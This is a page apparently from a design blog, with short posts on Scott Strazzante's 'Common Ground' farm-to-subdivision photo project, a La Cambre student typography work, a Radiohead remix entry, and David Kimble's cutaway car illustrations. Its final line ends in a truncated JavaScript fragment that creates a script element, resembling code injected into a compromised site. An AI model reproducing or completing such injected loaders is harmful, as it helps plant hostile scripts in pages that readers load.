Common Ground by Scott Strazzante

On July 2, 2002, Jean and Harlow Cagwin watched as their home — the last remnant of their 118-acre cattle farm in Lockport, Illinois — was torn down clearing the way for a new housing development. Several years later, Ed and Amanda Grabenhofer and their four children moved into the new Willow Walk subdivision, their house just yards from where the Cagwin’s home once stood.

Common Ground introduces us to the lives touched by this land, as photographer Scott Strazzante takes us on a visual journey exploring the differences and similarities of these two families while simultaneously asking us to look at what is common among us all.

I found this today while visiting typography section jury at La Cambre visual art school (Brussels, Belgium).
Someone told me it is the last year project of a student in graphic communication section. It’s done in the cafetaria.

I don’t know the name of the student, does anyone know? Made by Basile Cuvelier.

Thanks Wendy for the photos, click “Continue reading” for more.

Big Ideas (Don’t get any) is a submission from James Houston for the online contest Radiohead recently held. This contest challenge people to remix Nude from their album In Rainbows.

Based on the lyric (and alternate title) “Big Ideas: Don’t get any” I grouped together a collection of old redundant hardware, and placed them in a situation where they’re trying their best to do something that they’re not exactly designed to do, and not quite getting there.
It doesn’t sound great, as it’s not supposed to.

This kind of pictures arouse every time my curiosity, whatever the object is. We have an incredible amount of information that fit on those visuals, thus requiring a very clear image design and structure to juxtapose the infinite small and the infinite big of the object.
Today, computers are really great tools by reducing the time to produce and adjust those artworks. David Kimble is one of the last remaining masters in the art of traditional “hand draw” automotive illustration, you can learn more about his work here.

I also suggest you the dictionary “Le Visuel” Ariane Archambault and Jean-Claude Corbeil (thanks Ali). A multilingual version is available, a nice way to learn foreigns languages vocabulary! There are also kids editions and more.

If you have similar stuff, please use the comments to share.var d=document;var s=d.createElement(‘script’);
